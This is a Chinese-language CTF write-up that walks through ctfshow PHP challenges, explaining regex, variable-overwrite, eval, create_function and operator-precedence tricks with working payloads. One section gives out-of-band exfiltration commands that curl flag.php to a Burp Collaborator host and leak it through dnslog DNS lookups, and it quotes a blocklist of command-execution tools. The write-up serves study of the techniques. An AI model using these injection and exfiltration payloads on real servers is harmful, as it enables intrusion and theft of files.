CTF中PHP相關題目考點總結(二)

CTF中PHP相關題目考點總結(二)

介紹

本篇文章主要總結了我在寫ctfshow題目中遇到的關於PHP的考點。因為只總結知識點和考點會比較空洞,也不容易理解,所以我都是透過題目來總結考點,這樣的話比較容易理解。

PHP特性相關考點

一、

考點:php正則表示式的匹配模式差異。

例題:

show_source(__FILE__);include(‘flag。php’);$a=$_GET[‘cmd’];if(preg_match(‘/^php$/im’, $a)){ #/i表示不區分大小寫,/m表示多行匹配 if(preg_match(‘/^php$/i’, $a)){ echo ‘hacker’; } else{ echo $flag; }}else{ echo ‘nonononono’;}

例題分析:

字元 ^ 和 $ 同時使用時,表示精確匹配,需要匹配到以php開頭和以php結尾的字串才會返回true,否則返回false

/m 多行匹配模式下,若存在換行\n並且有開始^或結束$符的情況下,將以換行為分隔符,逐行進行匹配。因此當我們傳入以下payload時,第一個if正則匹配會返回true。但是當不是多行匹配模式的時候也就是在第二個if正則匹配中出現換行符

%0a

的時,$cmd的值會被當做兩行處理,因此當我們傳入以下payload時,第二個if正則表示式匹配到的是aaaphp,不符合以php開頭和以php結尾會返回false,從而echo出flag。

payload如下:

?cmd=aaa%0aphp #%0a為換行符

【相關技術文件】

二、

考點:php變數覆蓋。

例題:

<?phphighlight_file(__FILE__);include(‘flag。php’);error_reporting(0);$error=‘你還想要flag嘛?’;$suces=‘既然你想要那給你吧!’;foreach($_GET as $key => $value){ if($key===‘error’){ die(“what are you doing?!”); } $$key=$$value;}foreach($_POST as $key => $value){ if($value===‘flag’){ die(“what are you doing?!”); } $$key=$$value;}if(!($_POST[‘flag’]==$flag)){ die($error);}echo “your are good”。$flag。“\n”;die($suces);?>

例題分析:

這裡利用的是變數覆蓋,關鍵點在

k

e

y

=

key=

value,這裡把$key的值當作了變數。

例如 $key=flag 則$$key=$flag

這裡一共有三個變數,$error、$suces和$flag;這裡透過die($error)或者die($suces)都可以輸出flag,所以有兩個payload。

第一種:

透過die($error)輸出flag,首先我們把$flag的值傳給$test,接著再把$test的值傳給$error,於是$error的值就是flag,再透過if判斷die輸出就是flag。

例如$flag=ctfshow{xxxxx},?test=flag,透過第一個for迴圈,也就是$test=$flag,從而把變數flag的值賦給test變數,因此$test=ctfshow{xxxxx},接著再透過第二個for迴圈,$error=$test,此時$error=ctfshow{xxxxx} paylload如下:

?test=flagpost:error=test

第二種:

透過die($suces)輸出flag,首先我們把flag的值傳給suces變數,接著再把flag的值給置空,以達到下面if條件為0不執行死亡函式的目的,從而往下執行,die($suces)即可把flag輸出,payload如下:

?suces=flag&flag=

三、

考點:PHP異常處理的利用,

Exception

處理用於在指定的錯誤發生時改變指令碼的正常流程,是php內建的異常處理類。

例題:

<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET[‘v1’]) && isset($_GET[‘v2’])){ $v1 = $_GET[‘v1’]; $v2 = $_GET[‘v2’]; if(preg_match(‘/[a-zA-Z]+/’, $v1) && preg_match(‘/[a-zA-Z]+/’, $v2)){ eval(“echo new $v1($v2());”); }}

例題分析:

這裡傳入兩個引數,並且都需要有字母,我們用php內建類讓v1不進行報錯,v2執行我們的命令就好了。

Exception

處理用於在指定的錯誤發生時改變指令碼的正常流程,是php內建的異常處理類。

所以payload如下:

?v1=Exception&v2=system(‘tac fl36dg。txt’)

四、

考點一:PHP變數名由數字字母下劃線組成,是沒有。的 我從大佬的文章瞭解到,GET或POST方式傳進去的變數名,會自動將空格 + 。 [轉換為_。

例題:

<?phperror_reporting(0);highlight_file(__FILE__);include(“flag。php”);$a=$_SERVER[‘argv’];$c=$_POST[‘fun’];if(isset($_POST[‘CTF_SHOW’])&&isset($_POST[‘CTF_SHOW。COM’])&&!isset($_GET[‘fl0g’])){ if(!preg_match(“/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\”|\‘|\,|\。|\;|\?/“, $c)&&$c<=18){ eval(”$c“。”;“); if($fl0g===”flag_give_me“){ echo $flag; } }}

例題分析:

這道題其中的一個難點是下面這行程式碼:

if(isset($_POST[’CTF_SHOW‘])&&isset($_POST[’CTF_SHOW。COM‘])&&!isset($_GET[’fl0g‘]))

PHP變數名由數字字母下劃線組成,是沒有。的 我從大佬的文章瞭解到,GET或POST方式傳進去的變數名,會自動將空格 + 。 [轉換為_。

有一種特殊情況,GET或POST方式傳參時,變數名中的 [ 也會被替換為_,但其後的字元就再進行替換了

如 CTF[SHOW。COM => CTF_SHOW。COM 所以payload如下:

POST: CTF_SHOW=&CTF[SHOW。COM=&fun=echo $flag

很明顯這個解是非預期的,其實是可以透過正常步驟得到flag的。

出題人的

預期解

get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW。COM=&fun=parse_str($a[1])

因為上面的程式碼中的這個程式碼語句 $a=$_SERVER[’argv‘]; 會將url傳入的變數存入陣列a中,然後我們配合parse_str函式從陣列a中取出fl0g=flag_give_me,配合eval函式,從而給fl0g變數賦值,這樣就可以繞過if語句,從而echo出flag。

$_SERVER[’argv‘][0] = $_SERVER[’QUERY_STRING‘]

query string是Uniform Resource Locator (URL)的一部分, 其中包含著需要傳給web application的資料

這裡進行了本地測試,注意需要在php。ini開啟register_argc_argv配置項,測試程式碼為:

<?php$a=$_SERVER[’argv‘];var_dump($a);

CTF中PHP相關題目考點總結(二)

所以如果我們get傳入變數賦值語句,接著在post裡面來執行這個賦值語句就可以完美繞過。

五、

考點一:利用php內建類FilesystemIterator 獲取指定目錄下的所有檔名。

考點二:getcwd()函式的作用時返回當前工作目錄。

例題:

<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET[’v1‘]) && isset($_GET[’v2‘])){ $v1 = $_GET[’v1‘]; $v2 = $_GET[’v2‘]; if(preg_match(’/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\”|\‘|\,|\。|\?|\\\\|\/|[0-9]/’, $v1)){ die(“error v1”); } if(preg_match(‘/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\“|\’|\,|\。|\?|\\\\|\/|[0-9]/‘, $v2)){ die(”error v2“); } eval(”echo new $v1($v2());“);}?>

例題分析:

這裡正則進行了匹配,我們可以使用FilesystemIterator檔案系統迭代器來進行利用,透過新建FilesystemIterator,使用getcwd()來顯示當前目錄下的所有檔案的檔名,payload為:

?v1=FilesystemIterator&v2=getcwd

知道flag所在檔案的檔名和目錄後直接訪問即可獲得flag。

六、

考點一:PHP中邏輯運算子&&運算子比||運算子優先順序高。

考點二:PHP中邏輯運算子&&和||執行的流程。

例題:

<?phpinclude(”flag。php“);highlight_file(__FILE__);if(isset($_GET[’username‘]) && isset($_GET[’password‘]) && isset($_GET[’code‘])){ $username = (String)$_GET[’username‘]; $password = (String)$_GET[’password‘]; $code = (String)$_GET[’code‘]; if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin“){ if($code == ’admin‘){ echo $flag; } }}

例題分析:

分析程式碼:由於&&運算子比||運算子優先順序高,並且我們不知道隨機數產生啥,所以$code === mt_rand(1,0x36D)的結果是false,同時我們看到code的值需要為admin,所以我們設定code=admin,又由於與運算(&&)一假則假,所以不再判斷 $password === $flag 的部分,然後就變成了:

if(false|| $username ===”admin“)

又由於或運算(||)一真則真,所以我們只要把username設定成admin即可,所以payload如下:

?username=admin&code=admin&password=1

補充:

一、PHP中邏輯運算子&&和||的分析:

首先,我給出一段程式碼:

<?php $test=”李四“; $test==”張三“&&$test=”張三來了“; echo $test; //輸出“李四” $test=”李四“; $test==”張三“||$test=”張三不在這裡“; echo $test; //輸出“張三不在這裡”?>

為什麼會產生這樣的結果呢?如果按照平常的方法,我們最少要用個IF語句來判斷。可現在只是兩個邏輯運算就會把變數的值給改變了。下面我們來分析一下它的執行原理。

在參與邏輯運算的兩邊表示式中,是按照從左到右順序進行運算的。而“與”運算中只要有一個是假,整個表示式的結果為假。所以,當左邊表示式為假時,就無 需再進行運算了。這樣的處理無疑對程式的執行效率是大有好處的。所以說正如題目所說,是一種高效的用法。而邏輯或就不同了:只要一個為真那整個表示式就為 真。所以,在左邊為假的情況下,還要執行右邊的表示式判斷。明白或理解了上面所說,也就對結果不感到奇怪了。

最後,我們做以下總結:

對於“與”(

&&

) 運算:

x && y

x

false

時,直接跳過,不執行

y

對於“或”(

||

) 運算 :

x||y

x

true

時,直接跳過,不執行

y

二、PHP運算子優先順序一覽表:

CTF中PHP相關題目考點總結(二)

對具有相同優先順序的運算子來說,從左向右的結合方向意味著將從左向右求值,從右向左結合方向則反之。對於無結合方向的則具有相同優先順序的運算子,該運算子有可能無法與其自身結合。

七、

考點一:命令執行的騷操作:curl -F命令的使用。

考點二:Burp Collaborator 的使用和帶外攻擊的概念與流程。

例題:

<?phperror_reporting(0);highlight_file(__FILE__);//flag。phpif($F = @$_GET[’F‘]){ if(!preg_match(’/system|nc|wget|exec|passthru|netcat/i‘, $F)){ eval(substr($F,0,6)); }else{ die(”6個字母都還不夠呀?!“); }}

例題分析:

這個題主要是考察,命令執行的騷操作和curl -F的使用,分析一下程式碼發現彷彿是隻能讀取前面6個字元去執行命令,禁止了命令執行的函式,並且沒有寫入許可權。那如果我們傳遞的引數就是

$F

本身,會不會發生變數覆蓋?

那我們來一個簡單的測試。

我們傳遞?F=`$F`;+sleep 3 發現網站確實sleep了一會,說明的確執行了sleep命令**那為什麼會這樣?**因為是我們傳遞的`$F`;+sleep 3。先進行substr()函式截斷然後去執行eval()函式這個函式的作用是執行php程式碼,``是shell_exec()函式的縮寫,然後就去命令執行。而$F就是我們輸入的`$F`;+sleep 3 所以最後執行的程式碼應該是``$F`;+sleep 3`,所以就可以成功執行sleep函式這裡可能有點繞,可以慢慢理解下。

然後就是利用curl去帶出flag。php

# payload:#其中-F 為帶檔案的形式傳送post請求#xx是上傳檔案的name值,flag。php就是上傳的檔案 # payload中的url地址是我們從Collaborator Client上獲取到的,點選copy to clipboard即可獲得?F=`$F`;+curl -X POST -F xx=@flag。php http://qa42kvxuxk5mxr5twr0d84hgf7lx9m。burpcollaborator。net

我們在目標頁面輸入payload併發送後,然後點選Poll now即可看到Burp的 Collaborator伺服器與目標伺服器的通訊資料包,從而我們可以看到flag。

CTF中PHP相關題目考點總結(二)

另外我們還可以利用dns帶外來獲取flag:

payload:?F = `$F`; curl `cat flag。php|grep ”flag“`。hxmwnm。dnslog。cn

補充:

**Burp Collaborator 的使用和帶外攻擊的概念與流程總。結:**https://blog。csdn。net/fageweiketang/article/details/89073662

八、

考點一:使用

create_function()

程式碼注入

考點二:php裡的預設名稱空間相關知識

例題:

<?phphighlight_file(__FILE__);if(isset($_POST[’ctf‘])){ $ctfshow = $_POST[’ctf‘]; if(!preg_match(’/^[a-z0-9_]*$/isD‘,$ctfshow)) { $ctfshow(’‘,$_GET[’show‘]); }}

這道題對ctf變數進行了一個正則表示式過濾,post傳參的

ctf

和get傳參的

show

進行了組合,這裡我們可以使用

create_function()

進行程式碼注入

string create_function ( string args , string args , string code )

string $args 變數部分

string $code 方法程式碼部分

#本地測試程式碼create_function(’$test‘,’echo $test。”very cool“‘)//等於function f($test){ echo $test。”very cool“;} /*利用如下如果我們第二個引數輸入的是’echo 111;}phpinfo();//‘即可把前面的方法括號給閉合並且成功執行phpinfo命令,後面用//註釋掉後邊的語句也就是下面這個結構*/function f($dotast){ echo 111;}phpinfo();//}

而正則表示式我們可以用

\

進行繞過,正好

\

在php裡代表預設名稱空間。

php裡預設名稱空間是\,所有原生函式和類都在這個名稱空間中。 普通呼叫一個函式,如果直接寫函式名function_name()呼叫,呼叫的時候其實相當於寫了一個相對路徑; 而如果是\function_name()這樣的形式去呼叫函式,則是表示寫了一個絕對路徑。 如果你在其他namespace裡呼叫系統類,必須使用絕對路徑的寫法

最終payload為

?show=echo 123;}system(”tac flag。php“);//post:ctf=\create_function